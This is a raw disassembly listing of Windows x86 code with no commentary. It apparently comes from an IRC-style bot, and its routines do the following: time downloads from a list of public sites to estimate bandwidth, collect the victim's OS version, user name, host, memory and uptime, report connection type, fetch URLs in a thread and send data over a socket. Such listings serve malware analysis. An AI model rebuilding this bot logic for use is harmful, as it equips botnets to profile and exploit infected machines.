fild [ebp+var_18]
jge short loc_41D39C
fadd ds:flt_439084
loc_41D39C: ; CODE XREF: sub_41D235+15Fj
fmul ds:flt_439080
fstp [ebp+var_10]
fld ds:flt_43907C
fld [ebp+var_10]
fucompp
fnstsw ax
test ah, 44h
jp short loc_41D3BC
fld1
fstp [ebp+var_10]
loc_41D3BC: ; CODE XREF: sub_41D235+180j
push [ebp+var_4]
call dword_444218 ; closesocket
push [ebp+Source] ; Memory
call _free
push esi ; Memory
call _free
fild [ebp+var_14]
mov eax, [ebp+var_14]
test eax, eax
pop ecx
pop ecx
jge short loc_41D3E5
fadd ds:flt_439084
loc_41D3E5: ; CODE XREF: sub_41D235+1A8j
fdiv [ebp+var_10]
fmul ds:flt_439078
fmul ds:flt_439074
call __ftol2
loc_41D3F9: ; CODE XREF: sub_41D235+1E4j
pop edi
pop ebx
loc_41D3FB: ; CODE XREF: sub_41D235+72j
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_41D3FE: ; CODE XREF: sub_41D235+13Ej
push [ebp+var_4]
call dword_444218 ; closesocket
push [ebp+Source] ; Memory
call _free
push esi ; Memory
call _free
pop ecx
pop ecx
xor eax, eax
jmp short loc_41D3F9
sub_41D235 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41D41B(int,char *Str,int)
sub_41D41B proc near ; CODE XREF: sub_40274D+2C3Ep
Dest = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41D21B
push [ebp+eax*4+var_3C] ; Str
call sub_41D235
push 8
mov esi, eax
call sub_41D21B
push [ebp+eax*4+var_3C] ; Str
call sub_41D235
add esp, 10h
test esi, esi
jz short loc_41D51C
test eax, eax
jz short loc_41D518
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41D51E
; ---------------------------------------------------------------------------
loc_41D518: ; CODE XREF: sub_41D41B+F4j
mov ebx, esi
jmp short loc_41D51E
; ---------------------------------------------------------------------------
loc_41D51C: ; CODE XREF: sub_41D41B+F0j
mov ebx, eax
loc_41D51E: ; CODE XREF: sub_41D41B+FBj
; sub_41D41B+FFj
push 0Ch
call sub_41D21B
push [ebp+eax*4+var_6C] ; Str
call sub_41D235
push 0Ch
mov edi, eax
call sub_41D21B
push [ebp+eax*4+var_6C] ; Str
call sub_41D235
add esp, 10h
test edi, edi
jz short loc_41D556
test eax, eax
jz short loc_41D552
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41D558
; ---------------------------------------------------------------------------
loc_41D552: ; CODE XREF: sub_41D41B+12Ej
mov esi, edi
jmp short loc_41D558
; ---------------------------------------------------------------------------
loc_41D556: ; CODE XREF: sub_41D41B+12Aj
mov esi, eax
loc_41D558: ; CODE XREF: sub_41D41B+135j
; sub_41D41B+139j
push 6
call sub_41D21B
push [ebp+eax*4+var_1C] ; Str
call sub_41D235
push 6
mov edi, eax
call sub_41D21B
push [ebp+eax*4+var_1C] ; Str
call sub_41D235
add esp, 10h
test edi, edi
jz short loc_41D590
test eax, eax
jz short loc_41D58C
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41D592
; ---------------------------------------------------------------------------
loc_41D58C: ; CODE XREF: sub_41D41B+168j
mov ecx, edi
jmp short loc_41D592
; ---------------------------------------------------------------------------
loc_41D590: ; CODE XREF: sub_41D41B+164j
mov ecx, eax
loc_41D592: ; CODE XREF: sub_41D41B+16Fj
; sub_41D41B+173j
xor eax, eax
test ebx, ebx
jz short loc_41D59F
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41D5A2
; ---------------------------------------------------------------------------
loc_41D59F: ; CODE XREF: sub_41D41B+17Bj
push 2
pop edi
loc_41D5A2: ; CODE XREF: sub_41D41B+182j
test esi, esi
jz short loc_41D5AA
add eax, esi
jmp short loc_41D5AB
; ---------------------------------------------------------------------------
loc_41D5AA: ; CODE XREF: sub_41D41B+189j
dec edi
loc_41D5AB: ; CODE XREF: sub_41D41B+18Dj
test ecx, ecx
jz short loc_41D5B3
add eax, ecx
jmp short loc_41D5B4
; ---------------------------------------------------------------------------
loc_41D5B3: ; CODE XREF: sub_41D41B+192j
dec edi
loc_41D5B4: ; CODE XREF: sub_41D41B+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+Dest]
push offset asc_4390C0 ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
lea eax, [ebp+Dest]
push eax
call sub_417D70
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41D41B endp
; =============== S U B R O U T I N E =======================================
sub_41D5F8 proc near ; CODE XREF: sub_40274D+23AAp
; sub_40274D+27E2p ...
arg_0 = dword ptr 4
push esi
push edi
call ds:dword_42B038 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
xor edx, edx
mov ecx, 15180h
mov esi, 0E10h
push 3Ch
pop edi
sub eax, [esp+8+arg_0]
div ecx
mov ecx, eax
mov eax, edx
xor edx, edx
div esi
mov esi, eax
mov eax, edx
xor edx, edx
div edi
push eax
push esi
push ecx
push offset aDdDhDm ; "%dd %dh %dm"
push 32h ; Count
mov esi, offset byte_4E27B8
push esi ; Dest
call __snprintf
add esp, 18h
pop edi
mov eax, esi
pop esi
retn
sub_41D5F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=78h
sub_41D64B proc near ; CODE XREF: sub_419FFD+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
lea ebp, [esp-78h]
sub esp, 94h
push esi
lea eax, [ebp+78h+var_94]
push eax
xor esi, esi
mov [ebp+78h+var_94], 94h
call ds:dword_42B064 ; GetVersionExA
test eax, eax
jz short loc_41D6BB
cmp [ebp+78h+var_90], 4
jnz short loc_41D69D
cmp [ebp+78h+var_8C], esi
jnz short loc_41D68B
cmp [ebp+78h+var_84], 1
jnz short loc_41D680
inc esi
loc_41D680: ; CODE XREF: sub_41D64B+32j
cmp [ebp+78h+var_84], 2
jnz short loc_41D6BB
xor esi, esi
inc esi
jmp short loc_41D6BB
; ---------------------------------------------------------------------------
loc_41D68B: ; CODE XREF: sub_41D64B+2Cj
cmp [ebp+78h+var_8C], 0Ah
jnz short loc_41D695
loc_41D691: ; CODE XREF: sub_41D64B+5Bj
push 2
jmp short loc_41D6BA
; ---------------------------------------------------------------------------
loc_41D695: ; CODE XREF: sub_41D64B+44j
cmp [ebp+78h+var_8C], 5Ah
jnz short loc_41D6BB
jmp short loc_41D6AE
; ---------------------------------------------------------------------------
loc_41D69D: ; CODE XREF: sub_41D64B+27j
cmp [ebp+78h+var_90], 5
jnz short loc_41D6BB
cmp [ebp+78h+var_8C], esi
jz short loc_41D691
cmp [ebp+78h+var_8C], 1
jnz short loc_41D6B2
loc_41D6AE: ; CODE XREF: sub_41D64B+50j
push 3
jmp short loc_41D6BA
; ---------------------------------------------------------------------------
loc_41D6B2: ; CODE XREF: sub_41D64B+61j
cmp [ebp+78h+var_8C], 2
jnz short loc_41D6BB
push 7
loc_41D6BA: ; CODE XREF: sub_41D64B+48j
; sub_41D64B+65j
pop esi
loc_41D6BB: ; CODE XREF: sub_41D64B+21j
; sub_41D64B+39j ...
mov eax, esi
pop esi
add ebp, 78h
leave
retn
sub_41D64B endp
; =============== S U B R O U T I N E =======================================
sub_41D6C3 proc near ; CODE XREF: sub_41D779+245p
push ebx
push esi
push edi
mov edi, 0F4240h
loc_41D6CB: ; CODE XREF: sub_41D6C3+2Fj
; sub_41D6C3+35j
rdtsc
push 3E8h
mov ebx, edx
mov esi, eax
call ds:dword_42B014 ; Sleep
rdtsc
push 0
sub eax, esi
push edi
sbb edx, ebx
push edx
push eax
call __aulldiv
mov esi, edx
test esi, esi
mov ebx, eax
ja short loc_41D6CB
jb short loc_41D6FA
cmp ebx, edi
ja short loc_41D6CB
loc_41D6FA: ; CODE XREF: sub_41D6C3+31j
push 0
push 64h
push esi
push ebx
call __aullrem
mov ecx, edx
push 64h
xor edx, edx
test ecx, ecx
mov edi, eax
pop eax
ja short loc_41D76D
jb short loc_41D719
cmp edi, 50h
jnb short loc_41D71E
loc_41D719: ; CODE XREF: sub_41D6C3+4Fj
push 4Bh
pop eax
xor edx, edx
loc_41D71E: ; CODE XREF: sub_41D6C3+54j
test ecx, ecx
ja short loc_41D76D
jb short loc_41D729
cmp edi, 47h
jnb short loc_41D72E
loc_41D729: ; CODE XREF: sub_41D6C3+5Fj
push 42h
pop eax
xor edx, edx
loc_41D72E: ; CODE XREF: sub_41D6C3+64j
test ecx, ecx
ja short loc_41D76D
jb short loc_41D739
cmp edi, 37h
jnb short loc_41D73E
loc_41D739: ; CODE XREF: sub_41D6C3+6Fj
push 32h
pop eax
xor edx, edx
loc_41D73E: ; CODE XREF: sub_41D6C3+74j
test ecx, ecx
ja short loc_41D76D
jb short loc_41D749
cmp edi, 26h
jnb short loc_41D74E
loc_41D749: ; CODE XREF: sub_41D6C3+7Fj
push 21h
pop eax
xor edx, edx
loc_41D74E: ; CODE XREF: sub_41D6C3+84j
test ecx, ecx
ja short loc_41D76D
jb short loc_41D759
cmp edi, 1Eh
jnb short loc_41D75E
loc_41D759: ; CODE XREF: sub_41D6C3+8Fj
push 19h
pop eax
xor edx, edx
loc_41D75E: ; CODE XREF: sub_41D6C3+94j
test ecx, ecx
ja short loc_41D76D
jb short loc_41D769
cmp edi, 0Ah
jnb short loc_41D76D
loc_41D769: ; CODE XREF: sub_41D6C3+9Fj
xor eax, eax
xor edx, edx
loc_41D76D: ; CODE XREF: sub_41D6C3+4Dj
; sub_41D6C3+5Dj ...
sub eax, edi
sbb edx, ecx
add eax, ebx
pop edi
adc edx, esi
pop esi
pop ebx
retn
sub_41D6C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=70h
sub_41D779 proc near ; CODE XREF: sub_40274D+2565p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
FullPath = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
Dest = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
Dst = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
Drive = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
lea ebp, [esp-70h]
sub esp, 7E8h
push ebx
push esi
push edi
lea eax, [ebp+70h+var_CC]
push eax
mov [ebp+70h+var_4], offset byte_42B633
mov [ebp+70h+var_CC], 94h
call ds:dword_42B064 ; GetVersionExA
xor ebx, ebx
cmp [ebp+70h+var_C8], 4
jnz short loc_41D7EA
cmp [ebp+70h+var_C4], ebx
jnz short loc_41D7CC
cmp [ebp+70h+var_BC], 1
jnz short loc_41D7B9
mov [ebp+70h+var_4], offset a95 ; "95"
loc_41D7B9: ; CODE XREF: sub_41D779+37j
cmp [ebp+70h+var_BC], 2
jnz loc_41D850
mov [ebp+70h+var_4], offset aNt_0 ; "NT"
jmp short loc_41D827
; ---------------------------------------------------------------------------
loc_41D7CC: ; CODE XREF: sub_41D779+31j
cmp [ebp+70h+var_C4], 0Ah
jnz short loc_41D7DB
mov [ebp+70h+var_4], offset a98 ; "98"
jmp short loc_41D821
; ---------------------------------------------------------------------------
loc_41D7DB: ; CODE XREF: sub_41D779+57j
cmp [ebp+70h+var_C4], 5Ah
jnz short loc_41D81A
mov [ebp+70h+var_4], offset aMe_0 ; "ME"
jmp short loc_41D821
; ---------------------------------------------------------------------------
loc_41D7EA: ; CODE XREF: sub_41D779+2Cj
cmp [ebp+70h+var_C8], 5
jnz short loc_41D81A
cmp [ebp+70h+var_C4], ebx
jnz short loc_41D7FE
mov [ebp+70h+var_4], offset a2k ; "2K"
jmp short loc_41D821
; ---------------------------------------------------------------------------
loc_41D7FE: ; CODE XREF: sub_41D779+7Aj
cmp [ebp+70h+var_C4], 1
jnz short loc_41D80D
mov [ebp+70h+var_4], offset aXp_0 ; "XP"
jmp short loc_41D821
; ---------------------------------------------------------------------------
loc_41D80D: ; CODE XREF: sub_41D779+89j
cmp [ebp+70h+var_C4], 2
mov [ebp+70h+var_4], offset a2003 ; "2003"
jz short loc_41D821
loc_41D81A: ; CODE XREF: sub_41D779+66j
; sub_41D779+75j
mov [ebp+70h+var_4], offset a??? ; "???"
loc_41D821: ; CODE XREF: sub_41D779+60j
; sub_41D779+6Fj ...
cmp [ebp+70h+var_BC], 2
jnz short loc_41D850
loc_41D827: ; CODE XREF: sub_41D779+51j
cmp [ebp+70h+var_B8], bl
jz short loc_41D850
lea eax, [ebp+70h+var_B8]
push eax
push [ebp+70h+var_4]
lea eax, [ebp+70h+Dest]
push offset aSS_5 ; "%s (%s)"
push eax ; Dest
call _sprintf
lea eax, [ebp+70h+Dest]
add esp, 10h
mov [ebp+70h+var_4], eax
loc_41D850: ; CODE XREF: sub_41D779+44j
; sub_41D779+ACj ...
push 3Fh
pop ecx
xor eax, eax
mov [ebp+70h+var_25C], cx
lea edi, [ebp+70h+var_25A]
rep stosd
stosw
mov eax, dword_444198
cmp eax, ebx
mov [ebp+70h+var_C], 100h
jz short loc_41D883
lea ecx, [ebp+70h+var_C]
push ecx
lea ecx, [ebp+70h+var_25C]
push ecx
call eax ; GetUserNameA
loc_41D883: ; CODE XREF: sub_41D779+FBj
push [ebp+70h+arg_4]
call sub_4023C9
pop ecx
push eax
call dword_44417C ; inet_addr
push 2
mov [ebp+70h+var_8], eax
push 4
lea eax, [ebp+70h+var_8]
push eax
call dword_4441FC ; gethostbyaddr
cmp eax, ebx
jz short loc_41D8AC
push dword ptr [eax]
jmp short loc_41D8B1
; ---------------------------------------------------------------------------
loc_41D8AC: ; CODE XREF: sub_41D779+12Dj
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41D8B1: ; CODE XREF: sub_41D779+131j
lea eax, [ebp+70h+var_3E4]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push 104h
lea eax, [ebp+70h+FullPath]
push eax
call ds:dword_42B010 ; GetSystemDirectoryA
push 46h
lea eax, [ebp+70h+var_114]
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
push ebx
mov esi, 409h
push esi
call ds:dword_42B0C4 ; GetDateFormatA
push 46h
lea eax, [ebp+70h+var_15C]
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call ds:dword_42B0C0 ; GetTimeFormatA
push 20h ; Size
lea eax, [ebp+70h+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+70h+Dst]
push eax
call ds:dword_42B134 ; GlobalMemoryStatus
push ebx ; Ext
push ebx ; Filename
push ebx ; Dir
lea eax, [ebp+70h+Drive]
push eax ; Drive
lea eax, [ebp+70h+FullPath]
push eax ; FullPath
call __splitpath
lea eax, [ebp+70h+Drive]
push eax
lea eax, [ebp+70h+var_7E8]
push eax
call sub_419549
push 60h
pop ecx
mov esi, eax
lea edi, [ebp+70h+var_668]
push ebx
rep movsd
call sub_41D5F8
add esp, 20h
push eax
lea eax, [ebp+70h+var_15C]
push eax
lea eax, [ebp+70h+var_114]
push eax
lea eax, [ebp+70h+var_25C]
push eax
push [ebp+70h+arg_4]
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+70h+var_3E4]
push eax
lea eax, [ebp+70h+FullPath]
push eax
push [ebp+70h+var_C0]
lea eax, [ebp+70h+var_5E8]
push [ebp+70h+var_C4]
push [ebp+70h+var_C8]
push [ebp+70h+var_4]
push eax
lea eax, [ebp+70h+var_568]
push eax
mov eax, [ebp+70h+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_419443
pop ecx
pop ecx
push eax
mov eax, [ebp+70h+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_419443
pop ecx
pop ecx
push eax
call sub_41D6C3
push edx
push eax
push offset asc_4392D8 ; "-"
push 200h ; Count
push [ebp+70h+arg_0] ; Dest
call __snprintf
mov eax, [ebp+70h+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
add ebp, 70h
leave
retn
sub_41D779 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=6Ch
sub_41D9E5 proc near ; CODE XREF: sub_40274D+2593p
; sub_40274D+6F0Cp
Dst = byte ptr -8Ch
var_C = byte ptr -0Ch
Dest = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
lea ebp, [esp-6Ch]
sub esp, 8Ch
push esi
mov esi, 80h
push esi ; Size
lea eax, [ebp+6Ch+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
cmp dword_44428C, 0
jnz short loc_41DA52
push 0
push esi
lea eax, [ebp+6Ch+Dst]
push eax
lea eax, [ebp+6Ch+var_C]
push eax
call dword_44425C ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_41DA33
lea eax, [ebp+6Ch+Dst]
push offset aNotConnected ; "Not connected"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41DA33: ; CODE XREF: sub_41D9E5+3Cj
test [ebp+6Ch+var_C], 1
lea eax, [ebp+6Ch+Dest]
jz short loc_41DA4B
push offset aDialUp ; "Dial-up"
loc_41DA41: ; CODE XREF: sub_41D9E5+6Bj
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_41DA6E
; ---------------------------------------------------------------------------
loc_41DA4B: ; CODE XREF: sub_41D9E5+55j
push offset off_439428
jmp short loc_41DA41
; ---------------------------------------------------------------------------
loc_41DA52: ; CODE XREF: sub_41D9E5+27j
mov esi, offset off_439424
lea eax, [ebp+6Ch+Dest]
push esi ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+6Ch+Dst]
push esi ; Format
push eax ; Dest
call _sprintf
add esp, 10h
loc_41DA6E: ; CODE XREF: sub_41D9E5+64j
push [ebp+6Ch+arg_4]
push [ebp+6Ch+arg_8]
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+6Ch+Dst]
push eax
lea eax, [ebp+6Ch+Dest]
push eax
push offset asc_4393E0 ; "-"
push 200h ; Count
push [ebp+6Ch+arg_0] ; Dest
call __snprintf
mov eax, [ebp+6Ch+arg_0]
add esp, 1Ch
pop esi
add ebp, 6Ch
leave
retn
sub_41D9E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_41DAA1 proc near ; DATA XREF: sub_40274D+7345o
var_65C = byte ptr -65Ch
Dest = byte ptr -55Ch
var_35C = dword ptr -35Ch
Str = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
Dst = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
Source = dword ptr -38h
Count = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 65Ch
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_35C]
rep movsd
xor esi, esi
xor ebx, ebx
mov edi, 80h
inc esi
push edi ; Size
mov [eax+190h], esi
lea eax, [ebp+74h+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+74h+var_8], ebx
mov [ebp+74h+var_4], ebx
mov [ebp+74h+var_C], offset dword_439514
call _memset
push edi ; Size
lea eax, [ebp+74h+var_1C8]
push ebx ; Val
push eax ; Dst
call _memset
push edi ; Size
lea eax, [ebp+74h+var_C8]
push ebx ; Val
push eax ; Dst
call _memset
push 100h ; Size
lea eax, [ebp+74h+var_65C]
push ebx ; Val
push eax ; Dst
call _memset
push 3Ch
pop edi
push edi ; Size
lea eax, [ebp+74h+var_48]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 3Ch
lea eax, [ebp+74h+var_48]
push eax
lea eax, [ebp+74h+Str]
push ebx
push eax ; Str
mov [ebp+74h+var_48], edi
mov [ebp+74h+Count], esi
mov [ebp+74h+var_28], esi
mov [ebp+74h+var_20], esi
mov [ebp+74h+var_18], esi
call _strlen
pop ecx
push eax
lea eax, [ebp+74h+Str]
push eax
call dword_444070 ; InternetCrackUrlA
test eax, eax
jnz short loc_41DB71
lea eax, [ebp+74h+Dest]
push offset asc_4394F8 ; "-"
push eax ; Dest
call _sprintf
mov esi, ebx
jmp loc_41DC60
; ---------------------------------------------------------------------------
loc_41DB71: ; CODE XREF: sub_41DAA1+B6j
cmp [ebp+74h+Count], ebx
jbe short loc_41DB8B
push [ebp+74h+Count] ; Count
lea eax, [ebp+74h+Dst]
push [ebp+74h+Source] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41DB8B: ; CODE XREF: sub_41DAA1+D3j
cmp [ebp+74h+var_28], ebx
movzx esi, [ebp+74h+var_30]
jbe short loc_41DBA9
push [ebp+74h+var_28] ; Count
lea eax, [ebp+74h+var_1C8]
push [ebp+74h+var_2C] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41DBA9: ; CODE XREF: sub_41DAA1+F1j
cmp [ebp+74h+var_20], ebx
jbe short loc_41DBC0
push [ebp+74h+var_20] ; Count
lea eax, [ebp+74h+var_C8]
push [ebp+74h+var_24] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41DBC0: ; CODE XREF: sub_41DAA1+10Bj
cmp [ebp+74h+var_18], ebx
jbe short loc_41DBDA
push [ebp+74h+var_18] ; Count
lea eax, [ebp+74h+var_65C]
push [ebp+74h+var_1C] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41DBDA: ; CODE XREF: sub_41DAA1+122j
push ebx
push ebx
push 3
lea eax, [ebp+74h+var_C8]
push eax
lea eax, [ebp+74h+var_1C8]
push eax
push esi
lea eax, [ebp+74h+Dst]
push eax
push dword_444254
call dword_44413C ; InternetConnectA
mov esi, eax
cmp esi, ebx
jnz short loc_41DC0A
push offset unk_4394CC
jmp short loc_41DC54
; ---------------------------------------------------------------------------
loc_41DC0A: ; CODE XREF: sub_41DAA1+160j
push ebx
push 200h
lea eax, [ebp+74h+var_C]
push eax
lea eax, [ebp+74h+var_2D8]
push eax
push ebx
lea eax, [ebp+74h+var_65C]
push eax
push ebx
push esi
call dword_44412C ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+74h+var_4], eax
jnz short loc_41DC39
push offset unk_43949C
jmp short loc_41DC54
; ---------------------------------------------------------------------------
loc_41DC39: ; CODE XREF: sub_41DAA1+18Fj
push ebx
push ebx
push ebx
push ebx
push eax
call dword_444258 ; HttpSendRequestA
test eax, eax
jz short loc_41DC4F
push offset dword_439480
jmp short loc_41DC54
; ---------------------------------------------------------------------------
loc_41DC4F: ; CODE XREF: sub_41DAA1+1A5j
push offset asc_439444 ; "-"
loc_41DC54: ; CODE XREF: sub_41DAA1+167j
; sub_41DAA1+196j ...
lea eax, [ebp+74h+Dest]
push eax ; Dest
call _sprintf
loc_41DC60: ; CODE XREF: sub_41DAA1+CBj
cmp [ebp+74h+var_1D4], ebx
pop ecx
pop ecx
jnz short loc_41DC8D
push ebx ; int
push [ebp+74h+var_1D0] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_258]
push eax ; Str
push [ebp+74h+var_35C] ; int
call sub_40123B
add esp, 14h
loc_41DC8D: ; CODE XREF: sub_41DAA1+1C7j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
pop ecx
push esi
call dword_444164 ; InternetCloseHandle
push [ebp+74h+var_4]
call dword_444164 ; InternetCloseHandle
push [ebp+74h+var_1D8]
call sub_40B149
pop ecx
push ebx
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_41DAA1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41DCBE(int,char *Str,int)
sub_41DCBE proc near ; CODE XREF: .text:0041DEEAp
; .text:0041DF08p ...
var_1C = byte ptr -1Ch
var_14 = byte ptr -14h
var_C = word ptr -0Ch
var_8 = word ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov esi, offset dword_439520
lea edi, [ebp+var_14]
movsd
movsb
mov esi, offset dword_439518
lea edi, [ebp+var_1C]
movsd
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], 4
mov [ebp+var_C], 1
mov [ebp+var_8], bx
movsw
jnz short loc_41DD74
mov edi, [ebp+Str]
mov esi, [ebp+arg_0]
mov [ebp+arg_8], ebx
loc_41DCFE: ; CODE XREF: sub_41DCBE+B2j
mov eax, [ebp+arg_8]
sub eax, ebx
jz short loc_41DD1B
dec eax
jnz short loc_41DD69
push ebx
push 1
lea eax, [ebp+var_4]
push eax
push esi
call dword_4441A0 ; send
lea eax, [ebp+var_8]
jmp short loc_41DD2C
; ---------------------------------------------------------------------------
loc_41DD1B: ; CODE XREF: sub_41DCBE+45j
push ebx
push 1
lea eax, [ebp+var_4]
push eax
push esi
call dword_4441A0 ; send
lea eax, [ebp+var_C]
loc_41DD2C: ; CODE XREF: sub_41DCBE+5Bj
push ebx
push 1
push eax
push esi
call dword_4441A0 ; send
push edi ; Str
call _strlen
cmp eax, 2
pop ecx
push ebx
jnz short loc_41DD4B
push 4
lea eax, [ebp+var_14]
jmp short loc_41DD50
; ---------------------------------------------------------------------------
loc_41DD4B: ; CODE XREF: sub_41DCBE+84j
push 5
lea eax, [ebp+var_1C]
loc_41DD50: ; CODE XREF: sub_41DCBE+8Bj
push eax
push esi
call dword_4441A0 ; send
push ebx
push edi ; Str
call _strlen
pop ecx
push eax
push edi
push esi
call dword_4441A0 ; send
loc_41DD69: ; CODE XREF: sub_41DCBE+48j
inc [ebp+arg_8]
cmp [ebp+arg_8], 1
jle short loc_41DCFE
jmp short loc_41DDE7
; ---------------------------------------------------------------------------
loc_41DD74: ; CODE XREF: sub_41DCBE+35j
dec eax
jz short loc_41DD90
dec eax
jnz short loc_41DDE7
mov esi, [ebp+arg_0]
push ebx
push 1
